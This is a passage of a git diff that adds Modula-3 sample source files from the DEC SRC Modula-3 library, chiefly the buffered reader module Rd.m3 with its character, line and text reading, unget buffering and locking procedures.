+| IF closed(rd) THEN `Cause checked runtime error` END;
+| RETURN cur(rd)
+*)
+
+PROCEDURE Length(rd: T): INTEGER RAISES {Failure, Alerted};
+(* This is equivalent to: *)
+(*
+| IF closed(rd) THEN
+|   `Cause checked runtime error`
+| END;
+| RETURN len(rd)
+
+   If "len(rd)" is unknown to the implementation of an intermittent
+   reader, "Length(rd)" returns -1.  *)
+
+PROCEDURE Intermittent(rd: T): BOOLEAN RAISES {};
+PROCEDURE Seekable(rd: T): BOOLEAN RAISES {};
+PROCEDURE Closed(rd: T): BOOLEAN RAISES {};
+(* Return "intermittent(rd)", "seekable(rd)", and "closed(rd)",
+   respectively. These can be applied to closed readers. *)
+
+END Rd.
diff --git a/samples/Modula-3/Rd.m3 b/samples/Modula-3/Rd.m3
new file mode 100644
index 0000000000..154069e146
--- /dev/null
+++ b/samples/Modula-3/Rd.m3
@@ -0,0 +1,811 @@
+(* Copyright (C) 1989, Digital Equipment Corporation           *)
+(* All rights reserved.                                        *)
+(* See the file COPYRIGHT for a full description.              *)
+
+(* Last modified on Thu Jan 26 13:58:35 PST 1995 by kalsow     *)
+(*      modified on Fri Jun 18 18:12:46 PDT 1993 by wobber     *)
+(*      modified on Tue Jun 15 13:41:05 1993 by gnelson        *)
+(*      modified on Mon May 31 06:25:34 PDT 1993 by swart      *)
+(*      modified on Mon Apr 26 17:22:58 PDT 1993 by mcjones    *)
+(*      modified on Tue Apr 21 15:56:06 PDT 1992 by muller     *)
+
+(* This module is very similar to the Wr module, so we will list
+its code with only a few comments.  *)
+
+MODULE Rd EXPORTS Rd, RdClass, UnsafeRd;
+IMPORT Text, Text8, Thread, Word;
+FROM Thread IMPORT Alerted;
+
+REVEAL
+  Private = Thread.Mutex BRANDED OBJECT END;
+
+(* FastGetChar and GetChar are identical except that GetChar acquires
+   and releases the lock while FastGetChar assumes it is already held. *)
+
+(* It is invariant that for a closed reader "rd", "rd.buff = NIL" and
+   "rd.lo = rd.cur = rd.hi".  Therefore the check that "rd" is ready need
+   not inspect "rd.closed" on the fast path. *)
+
+PROCEDURE Init(rd: T) = 
+(* Class-independent initialize rd, including private fields revealed herein. *)
+
+  BEGIN
+    rd.buff := NIL;
+    rd.Ungetbuff := NIL;
+    rd.Waitingbuff := NIL;
+    rd.st := 0;
+    rd.Ungetst := 0;
+    rd.Waitingst := 0; 
+    rd.cur := 0;
+    rd.lo := 0; 
+    rd.hi := 0; 
+    rd.Ungetlo := 0; 
+    rd.Ungethi := 0; 
+    rd.Waitinglo := 0; 
+    rd.Waitinghi := 0; 
+    rd.closed := TRUE;   
+  END Init; 
+
+<* UNUSED *> PROCEDURE Check(rd: T): BOOLEAN (* It's OK. *) = 
+  (* Check some invariants on rd. *) 
+
+  BEGIN 
+    IF rd.closed 
+    THEN 
+    (* V4. *) 
+      IF rd.buff # NIL 
+      THEN RETURN FALSE END;
+      IF rd.lo # 0 
+      THEN RETURN FALSE END;
+      IF rd.hi # 0 
+      THEN RETURN FALSE END; 
+    ELSE 
+       IF rd.Ungetbuff # NIL 
+         AND rd.Ungetbuff # rd.buff
+         AND rd.Ungetlo < rd.Ungethi
+         AND rd.Ungethi # rd.lo
+      THEN RETURN FALSE
+      END; 
+    (* V2. *) 
+      IF rd.cur < rd.lo 
+      THEN RETURN FALSE END; 
+      IF rd.cur > rd.hi 
+      THEN RETURN FALSE END; 
+    (* V3. *) 
+      IF rd.intermittent AND rd.seekable THEN RETURN FALSE END;
+    END; 
+    RETURN TRUE
+  END Check; 
+
+PROCEDURE NextBuff(rd: T; dontBlock: BOOLEAN): SeekResult 
+  RAISES {Failure, Alerted} =
+  (* rd is locked, not closed, and rd.cur=rd.hi. *) 
+  (* If we are now in the unget buffer, switch to the waiting buffer.
+     Otherwise, save characters as needed in the unget buffer, then use
+     seek to get the next regular buffer.
+  *) 
+  VAR LByteCt, LByteCtUnget: CARDINAL;
+  VAR LUngetlo, LUngethi, LUngetst: CARDINAL; 
+  VAR LResult: SeekResult; 
+  VAR LUngetbuff: ARRAY [0..UnGetCapacity-1] OF CHAR;
+  BEGIN  
+    (*<* ASSERT Check(rd) *>*)  
+    IF rd.Ungetbuff # NIL (* There is an unget buffer, *) 
+       AND rd.Ungetbuff = rd.buff
+           (* and it is current, which implies we are now off its right end. *)
+    THEN (* Make the waiting buffer current.  *) 
+      rd.buff := rd.Waitingbuff;
+      rd.st := rd.Waitingst;
+      rd.lo := rd.Waitinglo;
+      rd.hi := rd.Waitinghi;
+      rd.Waitingbuff := NIL; (* Defensive. *) 
+      (* The unget buffer will remain unchanged, in case UngetChar requires
+         us to back up into it again. *) 
+      (*<* ASSERT Check(rd) *>*)  
+      IF rd.cur < rd.hi THEN (*<* ASSERT Check(rd) *>*) RETURN SeekResult.Ready
+      END; 
+    END;
+
+    (* We are not in the unget buffer.  Need to seek, but first, save some
+       chars to go in the new unget buffer.  We have to save them before 
+       seeking, but won't know until after, whether to alter the real unget
+       buffer and its subscripts.  So do the saving in locals for now. *)
+    IF rd.buff # NIL 
+    THEN (* There are some chars to save. *) 
+      IF rd.hi - rd.lo >= UnGetCapacity 
+      THEN (* Current buffer contains at least UnGetCapacity chars.  Save the 
+              last UnGetCapacity of them in locals.  Don't save anything from
+              Ungetbuff. *)  
+        LUngethi := rd.hi; 
+        LUngetlo := rd.hi - UnGetCapacity; 
+        LUngetst := 0; 
+        LUngetbuff 
+          := SUBARRAY(rd.buff^, LUngetlo - rd.lo + rd.st, UnGetCapacity);
+      ELSE
+        (* Here, buff has fewer chars than UnGetCapacity. *) 
+        IF rd.Ungetbuff = NIL OR rd.Ungetlo >= rd.Ungethi  
+        THEN (* Unallocated or empty unget buffer.  Save only from the current
+                buffer. *) 
+          LByteCt := rd.hi - rd.lo; 
+          LUngetst := UnGetCapacity - LByteCt;
+          LUngetlo := rd.lo;
+          LUngethi := rd.hi;
+          SUBARRAY(LUngetbuff, LUngetst, LByteCt) 
+            := SUBARRAY(rd.buff^, rd.st, LByteCt);
+        ELSE (* Save chars for the unget buffer from both its current contents
+                (shifted left) and the current buffer. *) 
+          LByteCt := rd.hi - rd.lo; 
+          LByteCtUnget := rd.Ungethi - rd.Ungetlo; 
+          IF LByteCt + LByteCtUnget > UnGetCapacity 
+          THEN (* Push some bytes off the left of the unget buffer. *) 
+            LByteCtUnget := UnGetCapacity - LByteCt;
+            LUngetst := 0; 
+            LUngetlo := rd.hi - UnGetCapacity; 
+          ELSE 
+            LUngetst := UnGetCapacity - LByteCt - LByteCtUnget;
+            LUngetlo := rd.hi - LByteCt - LByteCtUnget;
+          END; 
+          LUngethi := rd.hi; 
+          SUBARRAY ( LUngetbuff, LUngetst, LByteCtUnget) 
+            := SUBARRAY 
+                 (rd.Ungetbuff^, UnGetCapacity - LByteCtUnget, LByteCtUnget);
+          SUBARRAY ( LUngetbuff, UnGetCapacity - LByteCt, LByteCt) 
+            := SUBARRAY (rd.buff^, rd.st, LByteCt);
+        END
+      END
+    END;
+    
+    (* Try to get the next buffer from class implementation: *)  
+    LResult := rd.seek(rd.cur, dontBlock); 
+    (* seek methods vary in what they do with buff at EOF.  E.g., FileRd 
+       advances to a new but empty buffer (lo=hi=cur=len), but TextRd leaves 
+       lo=0, preserving the text for subsequent seek back inside it.  We want
+       to update the Unget buffer only if seek advanced lo. *) 
+    IF rd.lo = LUngethi 
+    THEN (* Update the unget buffer. *) 
+      IF rd.Ungetbuff = NIL 
+      THEN rd.Ungetbuff := NEW (REF ARRAY OF CHAR, UnGetCapacity);
+      END; 
+      rd.Ungetst := LUngetst; 
+      rd.Ungetlo := LUngetlo; 
+      rd.Ungethi := LUngethi; 
+      rd.Ungetbuff^ := LUngetbuff; 
+    END; 
+    (*<* ASSERT Check(rd) *>*)  
+    RETURN LResult; 
+  END NextBuff; 
+
+<*INLINE*>
+PROCEDURE GetChar (rd: T): CHAR
+  RAISES {EndOfFile, Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      RETURN FastGetChar(rd);
+    END
+  END GetChar;
+
+<*INLINE*>
+PROCEDURE FastGetChar(rd: T): CHAR
+  RAISES {EndOfFile, Failure, Alerted} =
+  (* rd is locked *)
+  VAR res: CHAR;
+  BEGIN
+    IF rd.closed THEN Die() END;
+    IF rd.cur = rd.hi THEN 
+      IF NextBuff(rd, dontBlock:= FALSE) = SeekResult.Eof THEN RAISE EndOfFile END
+    END;
+    res := rd.buff[rd.st + (rd.cur - rd.lo)];
+    INC(rd.cur);
+    RETURN res
+  END FastGetChar;
+
+<*INLINE*>
+PROCEDURE GetWideChar (rd: T): WIDECHAR
+  RAISES {EndOfFile, Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      RETURN FastGetWideChar(rd);
+    END
+  END GetWideChar;
+
+<*INLINE*>
+PROCEDURE FastGetWideChar(rd: T): WIDECHAR
+  RAISES {EndOfFile, Failure, Alerted} =
+  (* rd is locked *)
+  VAR ch: WIDECHAR;
+  BEGIN
+    IF rd.closed THEN Die() END;
+    IF NOT GetWC (rd, ch) THEN RAISE EndOfFile; END;
+    RETURN ch;
+  END FastGetWideChar;
+
+<*INLINE*>
+PROCEDURE GetWC(rd: T;  VAR(*OUT*) ch: WIDECHAR): BOOLEAN
+  RAISES {Failure, Alerted} =
+  (* rd is locked and not closed. *)
+  VAR c1, c2: CHAR;
+  BEGIN
+
+    IF rd.cur = rd.hi THEN
+      IF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN RETURN FALSE; END;
+    END;
+    c1 := rd.buff[rd.st + (rd.cur - rd.lo)];
+    INC(rd.cur);
+
+    IF rd.cur # rd.hi THEN
+      c2 := rd.buff[rd.st + (rd.cur - rd.lo)];
+      INC(rd.cur);
+    ELSIF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN 
+      c2 := '\x00';
+    ELSE
+      c2 := rd.buff[rd.st + (rd.cur - rd.lo)];
+      INC(rd.cur);
+    END;
+
+    ch := VAL (Word.LeftShift (ORD (c2), 8) + ORD (c1), WIDECHAR);
+    RETURN TRUE;
+  END GetWC;
+  
+PROCEDURE GetSub (rd: T; VAR (*out*) str: ARRAY OF CHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      RETURN FastGetSub(rd, str);
+    END
+  END GetSub;
+  
+PROCEDURE FastGetSub (rd: T; VAR (*out*) str: ARRAY OF CHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  VAR NextStr, Hi, AvailInBuff, Ct: INTEGER; 
+  BEGIN 
+    IF rd.closed THEN Die() END;
+    NextStr := 0;
+    Hi := NUMBER(str);
+    LOOP
+      IF NextStr >= Hi THEN (* We filled str. *) EXIT END;
+      AvailInBuff := rd.hi - rd.cur;
+      IF AvailInBuff <= 0 THEN
+        IF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN EXIT
+        ELSE AvailInBuff := rd.hi - rd.cur;
+        END;
+      END; 
+      Ct := MIN (Hi-NextStr, AvailInBuff);
+      SUBARRAY(str, NextStr, Ct)
+        := SUBARRAY(rd.buff^, rd.st + (rd.cur - rd.lo), Ct); 
+      INC (NextStr, Ct);
+      INC (rd.cur, Ct);
+    END (* LOOP *);
+    RETURN NextStr; 
+  END FastGetSub;
+  
+PROCEDURE GetWideSub (rd: T; VAR (*out*) str: ARRAY OF WIDECHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      RETURN FastGetWideSub(rd, str);
+    END;
+  END GetWideSub;
+  
+PROCEDURE FastGetWideSub (rd: T; VAR (*out*) str: ARRAY OF WIDECHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  VAR len := 0;  WCh: WIDECHAR;
+  BEGIN
+    IF rd.closed THEN Die() END;
+    WHILE (len < NUMBER (str)) AND GetWC (rd, WCh) DO
+      str[len] := WCh;  INC (len);
+    END;
+    RETURN len;
+  END FastGetWideSub;
+
+PROCEDURE GetSubDefault (rd: T; VAR (*out*) str: ARRAY OF CHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  (* rd is locked and not closed. *)
+  VAR i := 0; BEGIN
+    LOOP
+      (* i chars have been read into str *)
+      IF i = NUMBER(str) THEN EXIT END;
+      IF rd.cur = rd.hi THEN
+        IF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN EXIT END
+      END;
+      (* rd.lo <= rd.cur < rd.hi *)
+      VAR n := MIN(rd.hi - rd.cur, NUMBER(str) - i); BEGIN
+        SUBARRAY(str, i, n) :=
+          SUBARRAY(rd.buff^, rd.cur - rd.lo + rd.st, n);
+        INC(i, n);
+        INC(rd.cur, n)
+      END
+    END;
+    RETURN i
+  END GetSubDefault;
+
+(* EOF and FastEOF are identical except that EOF acquires and releases
+   the reader lock while FastEOF assumes it is already held. *)
+
+<*INLINE*> 
+PROCEDURE EOF (rd: T): BOOLEAN
+  RAISES {Failure, Alerted} =
+  (* rd is unlocked *)
+  BEGIN
+    LOCK rd DO
+      RETURN FastEOF(rd);
+    END
+  END EOF;
+  
+<*INLINE*> 
+PROCEDURE FastEOF (rd: T): BOOLEAN
+  RAISES {Failure, Alerted} =
+  BEGIN
+    (* rd is locked *)
+    IF rd.closed THEN Die() END;
+    IF rd.cur # rd.hi THEN
+      RETURN FALSE
+    ELSE
+      RETURN NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof 
+    END
+  END FastEOF;
+
+PROCEDURE UnGetChar(rd: T) RAISES {} =
+  BEGIN
+    LOCK rd DO EVAL FastUnGetCharMulti (rd, 1) END;
+    (* Just silently fail if can't do it.  This duplicates
+       original behaviour. *) 
+  END UnGetChar;
+
+PROCEDURE FastUnGetChar(rd: T) RAISES {} =
+(* Like Rd.FastUnGetChar, but rd must be locked. *)
+  BEGIN
+    EVAL FastUnGetCharMulti (rd, 1) 
+    (* Just silently fail if can't do it.  This duplicates
+       original behaviour. *) 
+  END FastUnGetChar;
+
+PROCEDURE UnGetCharMulti(rd: T; n: UnGetCount:= 1): CARDINAL (* Number actually ungotten.*)=
+  BEGIN
+    LOCK rd DO RETURN FastUnGetCharMulti (rd, n) END;
+  END UnGetCharMulti;
+
+PROCEDURE FastUnGetCharMulti(rd: T; n: UnGetCount:= 1)
+  : CARDINAL (* Number actually ungotten.*) =
+  VAR result, avail: CARDINAL; 
+  BEGIN
+    IF rd.closed THEN Die() END;
+    (*<* ASSERT Check(rd) *>*)
+    IF rd.cur - n >= rd.lo THEN (* Can do this within buff. *)     
+      DEC(rd.cur, n);
+      (*<* ASSERT Check(rd) *>*)
+      RETURN n
+    ELSE (* First Unget what we can within rd.buff. *) 
+      result := rd.cur - rd.lo; 
+      rd.cur := rd.lo;  
+      DEC (n, result);
+      (* Now look for saved ungettable characters. *) 
+      IF rd.Ungetbuff # NIL (* We have an unget buffer *) 
+            AND rd.Ungetbuff # rd.buff (* It is not the current buffer. *) 
+            AND rd.Ungethi > rd.Ungetlo (* It is not empty. *) 
+      THEN (* Make the current buff waiting, *) 
+        rd.Waitingbuff := rd.buff;
+        rd.Waitingst := rd.st;
+        rd.Waitinglo := rd.lo;
+        rd.Waitinghi := rd.hi;
+        (* and back up to the unget buffer. *) 
+        rd.buff := rd.Ungetbuff;
+        rd.st := rd.Ungetst;
+        rd.lo := rd.Ungetlo;
+        rd.hi := rd.Ungethi;
+        (* Unget within the now-current unget buffer. *) 
+        avail := rd.hi - rd.lo;
+        n := MIN (n, avail); 
+        DEC (rd.cur, n);
+        INC (result, n); 
+        (*<* ASSERT Check(rd) *>*)
+        RETURN result
+      ELSE (* We have no more stored bytes to unget. *) 
+        (*<* ASSERT Check(rd) *>*)
+        RETURN result
+      END 
+    END 
+  END FastUnGetCharMulti;
+
+PROCEDURE CharsReady(rd: T): CARDINAL
+  RAISES {Failure} =
+  <*FATAL Thread.Alerted*>
+  BEGIN
+    LOCK rd DO 
+      IF rd.closed THEN Die() END;
+      IF rd.cur = rd.hi THEN
+        IF NextBuff (rd, dontBlock:= TRUE) = SeekResult.Eof THEN RETURN 1 END
+      END;
+      RETURN rd.hi - rd.cur;
+    END;
+  END CharsReady;
+
+PROCEDURE FastCharsReady(rd: T): CARDINAL
+  RAISES {Failure} =
+  <*FATAL Thread.Alerted*>
+  BEGIN
+    IF rd.closed THEN Die() END;
+    IF rd.cur = rd.hi THEN
+      IF NextBuff (rd, dontBlock:= TRUE) = SeekResult.Eof THEN RETURN 1 END
+    END;
+    RETURN rd.hi - rd.cur;
+  END FastCharsReady;
+
+PROCEDURE Index(rd: T): CARDINAL =
+  BEGIN
+    LOCK rd DO 
+      IF rd.closed THEN Die() END;
+      RETURN rd.cur
+    END; 
+  END Index;
+
+PROCEDURE FastIndex(rd: T): CARDINAL =
+  BEGIN
+    IF rd.closed THEN Die() END;
+    RETURN rd.cur
+  END FastIndex;
+
+PROCEDURE Length(rd: T): INTEGER
+  RAISES {Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      IF rd.closed THEN Die() END;
+      RETURN rd.length()
+    END
+  END Length;
+
+PROCEDURE FastLength(rd: T): INTEGER
+  RAISES {Failure, Alerted} =
+  BEGIN
+    IF rd.closed THEN Die() END;
+    RETURN rd.length()
+  END FastLength;
+
+PROCEDURE Seek(rd: T; n: CARDINAL)
+  RAISES {Failure, Alerted} =
+  BEGIN
+    LOCK rd DO
+      (*<* ASSERT Check(rd) *>*)  
+      IF rd.closed OR NOT rd.seekable THEN Die() END;
+      IF n < rd.lo OR n > rd.hi THEN
+        EVAL rd.seek(n, dontBlock:= FALSE);
+        rd.Ungetlo := 0; (* Empty the unget buffer, but keep it allocated. *) 
+        rd.Ungethi := 0;
+        rd.Waitingbuff := NIL; (* Redundant? *) 
+      ELSE
+        rd.cur := n;
+      END;
+      (*<* ASSERT Check(rd) *>*) 
+    END
+  END Seek;
+
+PROCEDURE Close(rd: T)
+  RAISES {Failure, Alerted} =
+  BEGIN
+    LOCK rd DO FastClose (rd); END;
+  END Close;
+
+PROCEDURE FastClose(rd: T)
+  RAISES {Failure, Alerted} =
+  BEGIN
+    IF NOT rd.closed THEN
+      TRY
+        rd.close()
+      FINALLY
+        rd.closed := TRUE;
+        rd.cur := rd.hi;
+        rd.lo := rd.hi;
+        rd.buff := NIL;
+        rd.Ungetlo := 0; 
+        rd.Ungethi := 0; 
+      END
+    END
+  END FastClose;
+
+PROCEDURE GetSubLine (rd: T;  VAR(*out*) str: ARRAY OF CHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  VAR i: CARDINAL := 0;
+  BEGIN
+    LOCK rd DO
+      IF rd.closed AND NUMBER(str) > 0 THEN Die () END;
+      LOOP
+        (* i chars have been read into str *)
+        IF i = NUMBER (str) THEN  RETURN i  END;
+        IF rd.cur = rd.hi THEN
+          IF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN RETURN i END
+        END;
+        (* rd is ready *)
+        VAR
+          n := MIN (rd.hi, rd.cur + NUMBER (str) - i) - rd.lo + rd.st;
+          j := rd.cur - rd.lo + rd.st;
+        BEGIN
+          WHILE (j # n) AND (rd.buff[j] # '\n') DO INC (j) END;
+          VAR
+            rd_cur := rd.cur - rd.lo + rd.st;
+            k := j - rd_cur;
+          BEGIN
+            SUBARRAY (str, i, k) := SUBARRAY (rd.buff^, rd_cur, k);
+            INC (i, k);
+            INC (rd.cur, k);
+          END;
+          IF (j # n) THEN
+            (* we found a newline *)
+            str[i] := '\n';
+            INC (i);
+            INC (rd.cur);
+            RETURN i;
+          END;
+        END;
+      END;
+    END;
+  END GetSubLine;
+
+PROCEDURE GetWideSubLine (rd: T;  VAR(*out*) str: ARRAY OF WIDECHAR): CARDINAL
+  RAISES {Failure, Alerted} =
+  VAR i: CARDINAL := 0;  ch: WIDECHAR;
+  BEGIN
+    LOCK rd DO
+      IF rd.closed AND NUMBER(str) > 0 THEN Die () END;
+      WHILE (i < NUMBER (str)) AND GetWC (rd, ch) DO
+        str[i] := ch;  INC (i);
+        IF ch = W'\n' THEN RETURN i; END;
+      END;
+      RETURN i;
+    END;
+  END GetWideSubLine;
+
+PROCEDURE GetText (rd: T;  length: CARDINAL): TEXT
+  RAISES { Failure, Alerted } =
+  VAR txt: TEXT;
+  BEGIN
+    LOCK rd DO
+      IF rd.closed THEN Die () END;
+
+      IF (rd.lo <= rd.cur) AND (rd.hi - rd.cur >= length) THEN
+        (* the bytes we need are already in the buffer *)
+        txt := Text.FromChars (
+                 SUBARRAY (rd.buff^, rd.cur - rd.lo + rd.st, length));
+        INC (rd.cur, length);
+
+      ELSIF (NOT rd.intermittent) THEN
+        (* we know how long the reader is... *)
+        VAR
+          len := MIN (length, rd.length () - rd.cur);
+          txt8 := Text8.Create (len);
+        BEGIN
+          txt := txt8;
+          EVAL FastGetSub (rd, SUBARRAY (txt8.contents^, 0, len));
+        END;
+
+      ELSE (* general case *)
+        txt := SlowGetText (rd, length);
+      END;
+    END;
+    RETURN txt;
+  END GetText;
+
+TYPE Buffer = REF RECORD next: Buffer;  buf: ARRAY [0..2039] OF CHAR END;
+
+PROCEDURE SlowGetText (rd: T;  length: CARDINAL): TEXT
+  RAISES { Failure, Alerted } =
+  VAR
+    copied: CARDINAL := 0;
+    head : Buffer := NIL;
+    tail : Buffer := NIL;
+  BEGIN
+
+    (* build a list of buffers *)
+    LOOP
+      IF (copied = length) THEN EXIT END;
+      VAR b := NEW (Buffer, next := NIL); BEGIN
+        IF (head = NIL)
+          THEN head      := b;
+          ELSE tail.next := b;
+        END;
+        tail := b;
+      END;
+      VAR
+        n := MIN (length - copied, NUMBER (tail.buf));
+        i := FastGetSub (rd, SUBARRAY (tail.buf, 0, n));
+      BEGIN
+        INC (copied, i);
+        IF (i < n) THEN EXIT END;
+      END;
+    END;
+
+    (* assemble the result *)
+    VAR
+      txt := Text8.Create (copied);
+      i := 0;
+      n : INTEGER;
+    BEGIN
+      WHILE (head # NIL) DO
+        n := MIN (copied - i, NUMBER (head.buf));
+        SUBARRAY (txt.contents^, i, n) := SUBARRAY (head.buf, 0, n);
+        head := head.next;
+        INC (i, n);
+      END;
+      RETURN txt;
+    END;
+  END SlowGetText;
+
+PROCEDURE GetWideText(rd: T; len: CARDINAL): TEXT
+  RAISES {Failure, Alerted} =
+  VAR
+    res, tmp: TEXT;
+    i, j, n_read: CARDINAL;
+    buf: ARRAY [0..127] OF WIDECHAR;
+  BEGIN
+    IF (len <= NUMBER (buf)) THEN
+      i := GetWideSub(rd, SUBARRAY(buf, 0, len));
+      RETURN Text.FromWideChars (SUBARRAY(buf, 0, i));
+    ELSE
+      res := NIL;  n_read := 0;
+      WHILE (n_read < len) DO
+        i := MIN (NUMBER (buf), len - n_read);
+        j := GetWideSub(rd, SUBARRAY (buf, 0, i));
+        INC (n_read, j);
+        IF (j > 0) THEN
+          tmp := Text.FromWideChars (SUBARRAY (buf, 0, j));
+          IF (res = NIL) THEN res := tmp; ELSE res := res & tmp; END;
+        END;
+        IF (j < i) THEN EXIT; END;
+      END;
+      IF (res = NIL) THEN res := ""; END;
+      RETURN res;
+    END;
+  END GetWideText;
+
+PROCEDURE GetLine (rd: T): TEXT
+  RAISES {EndOfFile, Failure, Alerted} =
+  VAR txt := "";   j, n: INTEGER;
+  BEGIN
+    LOCK rd DO
+      IF rd.closed THEN Die () END;
+      LOOP (* INV: txt contains the partial result *)
+        IF rd.cur = rd.hi THEN
+          IF NextBuff (rd, dontBlock:= FALSE) = SeekResult.Eof THEN 
+            IF (Text.Length (txt) > 0) THEN RETURN txt END;
+            RAISE EndOfFile;
+          END;
+        END;
+        (* rd is ready *)
+        n := rd.hi - rd.lo + rd.st;
+        j := rd.cur - rd.lo + rd.st;
+        WHILE (j # n) AND rd.buff[j] # '\n' DO INC(j) END;
+        VAR rd_cur := rd.cur - rd.lo + rd.st;
+            len := j - rd_cur;
+         BEGIN
+          IF len >= 1 AND j # n  AND rd.buff[j-1] = '\r' THEN
+            (* segment ends in \r\n *)
+            txt := txt & Text.FromChars (SUBARRAY (rd.buff^, rd_cur, len-1));
+            INC (rd.cur, len+1);
+            RETURN txt;
+          ELSIF j # n THEN
+            (* segment ends in \n *)
+            txt := txt & Text.FromChars (SUBARRAY (rd.buff^, rd_cur, len));
+            INC (rd.cur, len+1);
+            IF NOT Text.Empty(txt) AND
+                 Text.GetChar(txt, Text.Length(txt)-1) = '\r' THEN
+              txt := Text.Sub(txt, 0, Text.Length(txt)-1)
+            END;
+            RETURN txt;
+          ELSE
+            (* segment does not contain line break *)
+            txt := txt & Text.FromChars (SUBARRAY (rd.buff^, rd_cur, len));
+            INC (rd.cur, len);
+          END;
+        END;
+      END; (* LOOP *)
+    END;
+  END GetLine;
+
+PROCEDURE GetWideLine (rd: T): TEXT
+  RAISES {EndOfFile, Failure, Alerted} =
+  VAR
+    txt, tmp : TEXT := NIL;
+    len : CARDINAL := 0;
+    last_ch, ch: WIDECHAR := W'\x0000';
+    buf : ARRAY [0..127] OF WIDECHAR;
+  BEGIN
+    LOCK rd DO
+      IF rd.closed THEN Die () END;
+      last_ch := W' ';
+      LOOP
+        IF FastEOF(rd) THEN
+          IF (txt = NIL) AND (len = 0) THEN RAISE EndOfFile; END;
+          EXIT;
+        END;
+        ch := FastGetWideChar (rd);
+        IF (ch = W'\n') THEN EXIT; END;
+        IF len >= NUMBER (buf) THEN
+          tmp := Text.FromWideChars (buf);
+          IF (txt = NIL) THEN txt := tmp;  ELSE txt := txt & tmp; END;
+          len := 0;
+        END;
+        buf[len] := ch;  INC (len);
+        last_ch := ch;
+      END;
+    END;
+
+    IF (ch = W'\n') AND (last_ch = W'\r') AND (len > 0) THEN
+      (* remove the carriage return before allocating the text *)
+      DEC (len);  last_ch := W' ';
+    END;
+    IF (len > 0) THEN
+      tmp := Text.FromWideChars (SUBARRAY (buf, 0, len));
+      IF (txt = NIL) THEN txt := tmp; ELSE txt := txt & tmp; END;
+    END;
+    IF (txt = NIL) THEN txt := ""; END;
+    IF (ch = W'\n') AND (last_ch = W'\r') THEN
+      txt := Text.Sub (txt, 0, Text.Length (txt) - 1);
+    END;
+    RETURN txt;
+  END GetWideLine;
+
+PROCEDURE Intermittent (rd: T): BOOLEAN =
+  BEGIN
+    LOCK rd DO
+      RETURN (rd.intermittent);
+    END; 
+  END Intermittent;
+
+PROCEDURE FastIntermittent(rd: T): BOOLEAN RAISES {} = 
+  BEGIN 
+    RETURN (rd.intermittent);
+  END FastIntermittent; 
+
+PROCEDURE Seekable (rd: T): BOOLEAN =
+  BEGIN
+    LOCK rd DO
+      RETURN (rd.seekable);
+    END;
+  END Seekable;
+
+PROCEDURE FastSeekable(rd: T): BOOLEAN RAISES {}= 
+  BEGIN 
+    RETURN (rd.seekable);
+  END FastSeekable; 
+
+PROCEDURE Closed (rd: T): BOOLEAN =
+  BEGIN
+    LOCK rd DO
+      RETURN (rd.closed);
+    END;
+  END Closed;
+
+PROCEDURE FastClosed(rd: T): BOOLEAN RAISES {}= 
+  BEGIN 
+    RETURN (rd.closed);
+  END FastClosed; 
+
+PROCEDURE Lock (rd: T) =
+  BEGIN
+    Thread.Acquire (rd)
+  END Lock;
+
+PROCEDURE Unlock (rd: T) =
+  BEGIN
+    Thread.Release (rd)
+  END Unlock;
+
+PROCEDURE LengthDefault (<*UNUSED*> rd: T): INTEGER =
+  BEGIN
+    <*NOWARN*> Die()
+  END LengthDefault;
+
+PROCEDURE CloseDefault(<*UNUSED*> rd: T) =
+  BEGIN
+  END CloseDefault;
+
+(*---------------------------------------------------------- internal ---*)
+
+EXCEPTION FatalError;
+
+PROCEDURE Die() =
+  <* FATAL FatalError *>
+  BEGIN
+    RAISE FatalError;
+  END Die;
+
+BEGIN
+END Rd.
diff --git a/samples/Modula-3/RdClass.i3 b/samples/Modula-3/RdClass.i3
new file mode 100644
index 0000000000..971d5757b2
--- /dev/null
+++ b/samples/Modula-3/RdClass.i3
@@ -0,0 +1,200 @@
+(* Copyright (C) 1989, Digital Equipment Corporation           *)
+(* All rights reserved.                                        *)
+(* See the file COPYRIGHT for a full description.              *)
+
+(* Last modified on Fri Jun 18 16:18:48 PDT 1993 by wobber         *)
+(*      modified on Tue Jun 15 10:07:07 1993 by gnelson        *)
+(*      modified on Fri May 21 09:50:56 PDT 1993 by swart      *)
+(*      modified on Mon Apr 26 17:22:23 PDT 1993 by mcjones    *)
+(*      modified on Wed Nov  6 10:45:09 PST 1991 by kalsow     *)
+(*      modified on Fri Sep 28 23:12:34 1990 by muller         *)
+
+
+(* The RdClass interface is analogous to the WrClass interface. It
+reveals that every reader contains a buffer of characters together
+with methods for managing the buffer.  New reader classes are created
+by importing RdClass (to gain access to the buffer and the methods)
+and then defining a subclass of Rd.T whose methods provide the new
+class's behavior.  The opaque type Private hides irrelevant details of
+the class-independent code. *)
+   
+INTERFACE RdClass;
+IMPORT Rd;
+FROM Thread IMPORT Alerted;
+FROM Rd IMPORT Failure;
+
+TYPE
+  Private <: ROOT;
+  SeekResult = {Ready, WouldBlock, Eof};
+
+REVEAL
+  Rd.T =
+    Private BRANDED OBJECT
+      buff                 : REF ARRAY OF CHAR := NIL;
+      Ungetbuff            : REF ARRAY OF CHAR := NIL;
+      Waitingbuff          : REF ARRAY OF CHAR := NIL;
+      st                   : CARDINAL;              (* index into buff *)
+      Ungetst              : CARDINAL;              (* index into Ungetbuff *) 
+      Waitingst            : CARDINAL;              (* index into WaitingBuff *)
+      cur                  : CARDINAL         := 0; (* index into src(rd) *)
+      lo, hi               : CARDINAL         := 0; (* indexes into src(rd) *)
+      Ungetlo, Ungethi     : CARDINAL         := 0; (* indexes into src(rd) *)
+      Waitinglo, Waitinghi : CARDINAL         := 0; (* indexes into src(rd) *)
+      closed: BOOLEAN := TRUE;   (* init method of the subtype should set
